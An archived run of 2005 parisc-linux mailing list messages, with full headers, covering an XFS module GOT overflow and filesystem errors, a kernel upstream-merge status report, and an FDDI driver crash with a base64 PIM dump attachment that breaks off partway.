List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7ANGKk9lTlIv47eQeGhrSVVGU2poZRno
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25109

the xfs module in vmlinux-2.6.11-pa2-a500_defconfig doesn't load:

xfs: Global Offset Table overflow (used 1061, allowed 1023
modprobe: FATAL: Error inserting xfs (/lib/modules/2.6.11-pa2/kernel/fs/xfs/xfs.ko): Invalid argument

the reason for the update was a problem with the
vmlinux-2.6.8.1-pa11-a500_defconfig kernel, which I see from time to
time ...

mount: /dev/sdb5
: can't read superblock

running xfs_repair fixes the problem and the filesystem can be
mounted.

	Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] xfs module in vmlinux-2.6.11-pa2-a500_defconfig
Date: Fri, 11 Mar 2005 11:58:10 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <4208D5150000D882@mail-5-bnl.tiscali.it>
References: <16941.28518.183984.44335@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624536 26726 80.91.229.3 (22 Nov 2014 02:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:56 +0000 (UTC)
To: "Matthias Klose" <doko@cs.tu-berlin.de>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 10:58:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 11 Mar 2005 11:58:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BBC777D65F;
	Fri, 11 Mar 2005 03:59:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29723-08; Fri, 11 Mar 2005 03:59:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B53357D65B;
	Fri, 11 Mar 2005 03:59:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9475A7D659
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 03:59:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29723-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 03:59:29 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 37D907D658
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 03:59:29 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 079094957BC; Fri, 11 Mar 2005 03:58:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by palinux.hppa (Postfix) with ESMTP id 8B405494058;
	Fri, 11 Mar 2005 03:58:18 -0700 (MST)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1D9hqO-0006MT-HV; Fri, 11 Mar 2005 11:58:16 +0100
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Fri, 11 Mar 2005 11:58:10 +0100
In-Reply-To: <16941.28518.183984.44335@gargle.gargle.HOWL>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uxVaKv0zTlIv47eQeGhrSVVGU2poZZkR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25110

Hello Matthias,

...
> 
> the xfs module in vmlinux-2.6.11-pa2-a500_defconfig doesn't load:
> 
for my part I use a builtin driver on a b180 (kernel 2.6.11-pa2 cvs dated=

20050307)

> xfs: Global Offset Table overflow (used 1061, allowed 1023
> modprobe: FATAL: Error inserting xfs (/lib/modules/2.6.11-pa2/kernel/fs=
/xfs/xfs.ko):
> Invalid argument
> 
> the reason for the update was a problem with the
> vmlinux-2.6.8.1-pa11-a500_defconfig kernel, which I see from time to
> time ...
> 
> mount: /dev/sdb5
> : can't read superblock
> 
> running xfs_repair fixes the problem and the filesystem can be
> mounted.
> 
Any way after severall (about 3) working days (more then 3 cvs co, more t=
ar
xjvpf ..., patch, diff, ...) on such xfs, I encounter some I/O errors whi=
le
trying to apply a patch:
sdd1: rw=3D0, want=3D3129722848, limit=3D4098200
I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba8bc7d8    
  ("xfs_trans_read_buf") error 5 buf count 4096

fwiw just umount xfs_check and 're-'mount this xfs and all seems to work
fine again.

hth,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] State of the kernel
Date: Mon, 14 Mar 2005 18:12:15 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <20050314181215.GV21986@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624537 26728 80.91.229.3 (22 Nov 2014 02:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 18:12:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 14 Mar 2005 19:12:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB8DB7D671;
	Mon, 14 Mar 2005 11:13:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20774-08; Mon, 14 Mar 2005 11:13:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D68877D672;
	Mon, 14 Mar 2005 11:13:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F7B77D670
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 11:13:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20673-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 11:13:30 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C679E7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 11:13:30 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 49584495C30; Mon, 14 Mar 2005 11:12:17 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id D73D94957B9
	for <parisc-linux@parisc-linux.org>;
	Mon, 14 Mar 2005 11:12:16 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DAu35-0001hA-Vb
	for parisc-linux@parisc-linux.org; Mon, 14 Mar 2005 18:12:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: drheKrZSTlIv47eQeGhrSVVGU2poZRkM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25111


Those subscribed to the parisc-linux-cvs list may have noticed the huge
number of merges I've been doing recently.  This has been mostly in aid
of this year's goal of getting PA-RISC to build out of Linus' tree.  I'm
at the point where it's reasonable to give a status update now, so here goes:

2.6.11-pa0 was approximately 813k of diff against Linus' tree with
changes everywhere.  We're now down to 396k of diff against 2.6.11-bk10!

Here's how that breaks down:

 - 196k of it is sym2 driver changes.  I expect that will be merged
   upstream shortly.
 - 49k of it is other scsi changes; 53c700, ncr53c8xx and scsi_transport_spi.
   Some of this is merged in James' scsi-misc-2.6 tree and other bits are
   waiting for that tree to be merged to Linus', hopefully before -rc1.
 - 56k is the ad1889 driver and related changes.  I'm holding off on
   submitting this until the driver is a bit closer to working on the
   request of Kyle and Stuart.
 - 40k is unmerged HIL header files.  I think they were inadvertently omitted;
   I've just pinged Linus and Vojtech about them
 - 3k is misc input stuff.
 - 25k is compat-related code.  I'm talking with Stephen Rothwell about
   some of it, this is going to be difficult to merge, I think.
 - 3k is Tulip driver changes.  Grant is handling these.
 - I've sent another 6k of misc changes to Linus today.
 - There's another 12k of misc patches in our tree:
   - some Kconfiggery (I'll take care of this)
   - NO_IRQ / SERIAL_IRQ_NONE (waiting on Ben Herrenschmidt)
   - pcmcia (James will take care of this)
   - FIONREAD (I'll deal with this)
   - IDE header (I want to review this)
   - CON_BOOT (needs fixing, I think I see what to do)
   - OPD bugfix (doesn't need to go upstream)
   - A small PA PCI patch I want to review
   - Perf counters update (missed today's submission)

I think only trivial fixes are needed to Linus' tree to allow
712_defconfig to build and boot.  The major merge headaches are the
CON_BOOT and compat code.  I'm going to stop deluging Linus with patches
for a week or so and work on making some of the unmergable bits more
mergable.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: FDDI (defxx) and Linux/PA = HPMC
Date: Sun, 10 Apr 2005 22:31:00 +0100
Lines: 197
Approved: news@gmane.org
Message-ID: <e6eae02905041014314d9bd645@mail.gmail.com>
References: <e6eae02905041013203d0517fd@mail.gmail.com>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_842_22529426.1113168660584"
X-Trace: ger.gmane.org 1416624537 26731 80.91.229.3 (22 Nov 2014 02:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:57 +0000 (UTC)
To: Linux/PA <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2005 21:31:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 10 Apr 2005 23:31:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D56B7D6AB;
	Sun, 10 Apr 2005 15:31:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02555-01; Sun, 10 Apr 2005 15:31:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C15017D67D;
	Sun, 10 Apr 2005 15:31:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9A867D676
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 15:31:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02139-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 15:31:02 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3B0747D667
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 15:31:02 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DD2BD49621C; Sun, 10 Apr 2005 15:31:01 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200])
	by palinux.hppa (Postfix) with ESMTP id 86643496108
	for <parisc-linux@parisc-linux.org>;
	Sun, 10 Apr 2005 15:31:01 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 37so1704933wra
	for <parisc-linux@parisc-linux.org>;
	Sun, 10 Apr 2005 14:31:00 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
	b=BBQwvZFHXqfMMV4qlaDSeBz2S3P1wjibRg3fpR6oEuYrWLJHPche4rK0oGfF2RnQZe8xpC681qw+CB/X1DiTBEvlAseBC8tjdSqu5XIWnRLWHwYO4c449heVX5bdko5y9GkjEXYVdrwOoi93BXpIZKsVwAeBt0g/rxW5gK8rtTE=
Original-Received: by 10.54.34.64 with SMTP id h64mr3471828wrh;
	Sun, 10 Apr 2005 14:31:00 -0700 (PDT)
Original-Received: by 10.54.57.13 with HTTP; Sun, 10 Apr 2005 14:31:00 -0700 (PDT)
In-Reply-To: <e6eae02905041013203d0517fd@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: d/4rYhZZeSE5+76WZHQhaXN2IGRvb8DC
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25112

------=_Part_842_22529426.1113168660584
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Apr 10, 2005 9:20 PM, Max Grabert <parisc@gmail.com> wrote:

[...]

> I'm trying to get FDDI working on Linux/PA.
>
> So I put a DEFPA card into my c3k (2.6.12-rc2-pa1, 32bit,
> gcc-3.4, Debian/testing), but it didn't get far:

Sorry, hat to reply to myself, forgot to attach a 'ser pim' output ...

Note the driver (defxx.c) is quite old, but is reported to
work on x86 and 2.6 (and ppc on 2.4).

HTH,
   Max

------=_Part_842_22529426.1113168660584
Content-Type: text/plain; name="serpim.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="serpim.txt"

ZGVmeHg6IHYxLjA3IDIwMDQvMDgvMTQgIExhd3JlbmNlIFYuIFN0ZWZhbmkgYW5kIG90aGVycwow
MDAwOjAxOjA0LjA6IERFRlBBIGF0IEkvTyBhZGRyID0gMHgxMjEwMCwgSVJRID0gMjEsIEhhcmR3
YXJlIGFkZHIgPSBDQi1GOC0wMC0wMC0wMC0wMAowMDAwOjAxOjA0LjA6IHJlZ2lzdGVyZWQgYXMg
ZmRkaTAKCgpCYWNrdHJhY2U6CiBbPDEwMTEzNjQwPl0gaW5sKzB4MzgvMHg0NAogWzwxMDY4ODU4
ND5dIGRmeF9pbml0KzB4NjAvMHhjNAogWzwxMDEwMzk3Yz5dIGluaXQrMHhhNC8weDIzOAogWzwx
MDEwYmM1Yz5dIHJldF9mcm9tX2tlcm5lbF90aHJlYWQrMHgxYy8weDI0CgoKSGlnaCBQcmlvcml0
eSBNYWNoaW5lIENoZWNrIChIUE1DKTogQ29kZT0xIHJlZ3M9MTA1YzcwODAgKEFkZHI9MDAwMDAw
MDApCgogICAgIFlacnZXRVNUSExOWEJDVk1jYmNiY2JjYk9HRlJRUERJClBTVzogMDAwMDAwMDAw
MDAwMDExMDExMTExMTExMDAwMDExMTEgTm90IHRhaW50ZWQKcjAwLTAzICAwMDAwMDAwMCAxMDZk
MTAxMCAxMDExMzY0MCAwMDAwMDAwMQpyMDQtMDcgIDAwMDAwMDAwIDAwMzBhMzEwIGZmZmZmZmVk
IDAwMDAwMDAwCnIwOC0xMSAgMTA1ZDQwZDAgMDAwZjQxZmEgM2FkZjQ1MDAgMTA2YzAzYzgKcjEy
LTE1ICAxMDVkNDFmOCAzYjlhY2EwMCAxMDZjMDAxMCAxMDVkNjAxMApyMTYtMTkgIGYwMDAwOGM0
IGYwMDAwMTdjIGYwMDAwMTc0IGZlZTAwMDAwCnIyMC0yMyAgNGZhMDI4YTQgMDAwMDAwMDEgMTAz
MWVjMmMgMDAwMDAwMDAKcjI0LTI3ICAwMDAwMDAwMCAwMDAwMGM4MCAxMDcwNjQ4MCAxMDViZDAx
MApyMjgtMzEgIGZlZTAwYzgwIDExMWJmOGQ0IDExMWY0MTgwIDEwMTEzNjQwCnNyMC0zICAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAKc3I0LTcgICAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMAoKSUFTUTogMDAwMDAwMDAgMDAwMDAwMDAgSUFPUTogMTAzMWVj
M2MgMTAzMWVjNDAKIElJUjogMGY4MDAxOWMgICAgSVNSOiBhNjI3ZmZmYiAgSU9SOiA4MDIwMGM4
MAogQ1BVOiAgICAgICAgMCAgIENSMzA6IDExMWY0MDAwIENSMzE6IDEwNjcwMDAwCiBPUklHX1Iy
ODogMDAwMDAwMDAKIElBT1FbMF06IGxiYV9hc3Ryb19pbjMyKzB4MTAvMHgyNAogSUFPUVsxXTog
bGJhX2FzdHJvX2luMzIrMHgxNC8weDI0CiBSUChyMik6IGlubCsweDM4LzB4NDQKS2VybmVsIHBh
bmljIC0gbm90IHN5bmNpbmc6IEhpZ2ggUHJpb3JpdHkgTWFjaGluZSBDaGVjayAoSFBNQykKCgoK
U0VSIFBJTToKPT09PT09PT0KCk1haW4gTWVudTogRW50ZXIgY29tbWFuZCA+IHNlciBwaW0KClBS
T0NFU1NPUiBQSU0gSU5GT1JNQVRJT04KCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNzb3IgMCBI
UE1DIEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLQoKVGltZXN0YW1wID0gCiAgU3VuIEFw
ciAgMTAgMjA6NDE6MDEgR01UIDIwMDUgICAgKDIwOjA1OjA0OjEwOjIwOjQxOjAxKQoKSFBNQyBD
aGFzc2lzIENvZGVzID0gMmNiZjAgIDI1MDBiICAyY2JmYiAgCgpHZW5lcmFsIFJlZ2lzdGVycyAw
IC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDEwNmQxMDEwICAwMDAwMDAw
MDEwMTEzNjQwICAwMDAwMDAwMDAwMDAwMDAxCjA0LTA3ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDMwYTMxMCAgZmZmZmZmZmZmZmZmZmZlZCAgMDAwMDAwMDAwMDAwMDAwMAowOC0xMSAg
IDAwMDAwMDAwMTA1ZDQwZDAgIDAwMDAwMDAwMDAwZjQxZmEgIDAwMDAwMDAwM2FkZjQ1MDAgIDAw
MDAwMDAwMTA2YzAzYzgKMTItMTUgICAwMDAwMDAwMDEwNWQ0MWY4ICAwMDAwMDAwMDNiOWFjYTAw
ICAwMDAwMDAwMDEwNmMwMDEwICAwMDAwMDAwMDEwNWQ2MDEwCjE2LTE5ICAgMDAwMDAwMDBmMDAw
MDhjNCAgMDAwMDAwMDBmMDAwMDE3YyAgMDAwMDAwMDBmMDAwMDE3NCAgMDAwMDAwMDBmZWUwMDAw
MAoyMC0yMyAgIDAwMDAwMDAwNGZhMDI4YTQgIDAwMDAwMDAwMDAwMDAwMDEgIDAwMDAwMDAwMTAz
MWVjMmMgIDAwMDAwMDAwMDAwMDAwMDAKMjQtMjcgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwYzgwICAwMDAwMDAwMDEwNzA2NDgwICAwMDAwMDAwMDEwNWJkMDEwCjI4LTMxICAgMDAw
MDAwMDBmZWUwMGM4MCAgMDAwMDAwMDAxMTFiZjhkNCAgMDAwMDAwMDAxMTFmNDE4MCAgMDAwMDAw
MDAxMDExMzY0MAoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+IAoKQ29u
dHJvbCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAgIDAwMDAw
MDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAw
MDAwMDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMGMwICAwMDAwMDAwMDAwMDAwMDFmCjEyLTE1ICAgMDAwMDAwMDAwMDAwMDAwMCAg
MDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDEwYjAwMCAgMDAwMDAwMDBmZmY4MDAwMAoxNi0x
OSAgIDAwMDAwMDBjOWM3NDVkMjggIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMTAzMWVjM2Mg
IDAwMDAwMDAwMGY4MDAxOWMKMjAtMjMgICAwMDAwMDAwMGE2MjdmZmZiICBjMDAwMDAwMDgwMjAw
YzgwICAwMDAwMDBmZjAwMDZmZjBmICAwMDAwMDAwMDgwMDAwMDAwCjI0LTI3ICAgMDAwMDAwMDAw
MDY2MjAwMCAgMDAwMDAwMDAwMDY2MjAwMCAgMDAwMDAwMDAwMDA0NDAyMSAgMDAwMDAwMDBmMDQx
MjAwMAoyOC0zMSAgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAwMDAw
MTExZjQwMDAgIDAwMDAwMDAwMTA2NzAwMDAKU3BhY2UgUmVnaXN0ZXJzIDAgLSA3CgowMC0wMyAg
IDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAw
MDAwMDAwCjA0LTA3ICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAw
MDAgICAgICAgICAgMDAwMDAwMDAKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRvIHF1
aXQpPiAKCklJQSBTcGFjZSAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAK
SUlBIE9mZnNldCAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAxMDMxZWM0MApDaGVjayBU
eXBlICAgICAgICAgICAgICAgICAgID0gMHgyMDAwMDAwMApDUFUgU3RhdGUgICAgICAgICAgICAg
ICAgICAgID0gMHg5ZTAwMDAwNApDYWNoZSBDaGVjayAgICAgICAgICAgICAgICAgID0gMHgwMDAw
MDAwMApUTEIgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApCdXMgQ2hlY2sg
